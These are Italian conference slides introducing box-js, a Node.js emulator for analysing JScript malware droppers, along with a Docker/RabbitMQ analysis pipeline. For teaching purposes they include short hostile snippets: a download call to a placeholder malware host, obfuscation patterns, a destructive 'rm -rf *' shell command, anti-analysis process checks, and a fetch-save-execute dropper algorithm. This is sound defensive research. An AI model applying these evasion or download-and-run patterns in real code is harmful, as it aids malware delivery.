Automatizzare la malware analysis con Node.js, Docker e RabbitMQ


@CapacitorSet

Queste slide sono state presentate a ESC17, e illustrano il funzionamento di box-js a grandi linee.

Attenzione: molte slide si sviluppano verso il basso, non verso destra.

Alcune slide sono corredate di "speaker notes" (appunti personali non visibili al pubblico), che compariranno in un riquadro grigio.

  • 1° stadio: fattura UPS.js
  • Utente apre il file, che scarica...
  • 2° stadio: locky.exe
  1. Reverse engineering manuale
  2. Analisi in VM
  3. Emulazione

Codice originale: presente, ma illeggibile

Codice formattato

Offuscamento

Codice equivalente, ma meno leggibile

download("http://malware.ru/")download(base64decode("..."))Uso di codifiche
beEvil();code = decrypt("..."); eval(code)Uso di crittografia (XOR)
shell.Execute("rm -rf *");things = ["rm -rf *", "Execute"]; shell[things[1]](things[0]);Costanti → variabili in array

Risultato finale

Algoritmo
  1. listaUrl = [20 URL...]
  2. Per ogni elemento di listaUrl:
    1. Fai una richiesta GET
    2. Se la risposta non è ok (404 not found, irraggiungibile, etc.) passa al prossimo
    3. Se la risposta non è un eseguibile, passa al prossimo
    4. Salva la risposta su %TEMP%/nomerandom.exe
    5. Esegui il file
  • Comprensione accurata
  • Da 15 minuti a 1 ora
  • Richiede una conoscenza approfondita di JScript
  1. Reverse engineering manuale
  2. Analisi in VM
  3. Emulazione

Virtualizziamo Windows

Monitoraggio

  • Intercettare le chiamate all'API Windows
    • lettura registro di sistema
    • crea nuovo processo
    • ...
  • Monitoraggio della memoria
  • Monitoraggio del disco
  • Monitoraggio del traffico di rete (DNS, download, etc)

Problemi

I malware adottano misure contro l'analisi automatica:

  • Controllano di non essere in una VM
  • Controllano la presenza di processi di monitoraggio
processi = GetObject("WinMgmts:").InstancesOf("Win32_Process")
isVM = false;
for (i = 0; i < processi.length; i++) {
	if (processi[i] == "Wireshark.exe") isVM = true;
	if (processi[i] == "OllyDbg.exe") isVM = true;
	if (processi[i] == "...") isVM = true;
}
if (!isVM) {
	// ...
}

Risultati

  1. Connesso a sito1.com... timeout.
  2. Connesso a sito2.it... collegato.Contro: non tutti gli URL vengono scoperti!
  3. Scaricato http://sito2.it/locky.exe
  4. Salvato C:\TEMP\locky.exe
  5. Eseguito C:\TEMP\locky.exePro: analizziamo anche il virus vero e proprio
  6. locky.exe ha criptato il file Desktop\foto.jpg
  7. ...
  • Veloce: 2-3 minuti, 100% automatico
  • Analizza sia il dropper, sia il virus
  • 1-2 GB RAM, >50 GB HDD
  • Procedimento opaco, difficile da debuggare
  1. Reverse engineering manuale
  2. Analisi in VM
  3. Emulazione
Virtualizziamo WindowsEmuliamo l'ambiente Javascript

Microsoft JScript è un dialetto di JavaScript

Un qualsiasi motore JavaScript può eseguire JScript, con delle modifiche

Quale motore? Node.js (V8). Sviluppato da Google, funziona da riga di comando, stesso motore di Chrome

Librerie ActiveX

Vogliamo creare librerie "finte", che emulano quelle reali e catturano informazioni

Stubs

Sono versioni fittizie (stub) dei componenti ActiveX che ci interessano

Sembrano funzionare correttamente, ma "registrano" le interazioni:

class XMLHTTP {
	download(url) {
		headers["User-Agent"] = "Internet Explorer 6.0";
		print(`Nuova richiesta a ${url}`);
		output = request("GET", url);
		print(`Ho scaricato ${output.length} byte.`);
		print("Tipo di file: " + identify(output));
		return output;
	}
}

AST rewriting

Dissezioniamo il codice e aggiungiamo dei pezzi

eval(pippo.decrypt() + "unknown code")
eval(rewrite(pippo.decrypt() + "unknown code"))
Risultati
  1. listaUrl = [20 URL...]
  2. Per ogni elemento di listaUrl:
    1. Fai una richiesta GET
      Analisi offline
    2. Se la risposta non è ok (404 not found, irraggiungibile, etc.) passa al prossimo
    3. Se la risposta non è un eseguibile, passa al prossimo
    4. Salva la risposta su %TEMP%/nomerandom.exe
    5. Esegui il file
  • Velocissimo: da 5 a 90 secondi
  • Tiny footprint: ~50 MB RAM
  • Più flessibile → più potente
  • Facile da debuggare
  • Richiede patch/bugfix
  • Può richiedere l'intervento umano
demo

Nota per il lettore: in questa fase, apro un terminale, do il comando per analizzare un sample, e spiego l'output di box-js. In particolare, provo prima l'analisi offline e poi quella con --download, dove faccio vedere che il secondo stadio viene scaricato correttamente, infine carico il secondo stadio su VirusTotal e verifico che è malevolo.

Nella pratica:

Malware analysis pipeline

Esigenza: creare un ambiente isolato, e facile da riprodurre

Usiamo i container di Docker: isolati dall'host, istanziati con un semplice comando:

docker run CapacitorSet/box-js     \ # Nome immagine
    --volume ~/sample.js:/samples/ \ # Cartelle condivise
    --env "QUEUE_IP=172.17.0.1"      # Variabili d'ambiente

Esigenza: gestire una coda di sample da analizzare, con diversi worker

Con RabbitMQ creiamo una work queue

Approccio facilmente scalabile: possiamo aggiungere e togliere worker a piacimento

Applicazioni

Scenario tipico: ricercatore/azienda nel campo della malware analysis

L'utente estrae velocemente i secondi stadi, in forma di URL o di file, e li può analizzare con VirusTotal/Malwr/altre sandbox


In sintesi: l'emulazione semplifica e velocizza l'analisi del primo stadio dell'infezione, e produce analisi più accurate

@CapacitorSet

Il mio progetto di malware analysis:

https://github.com/CapacitorSet/box-js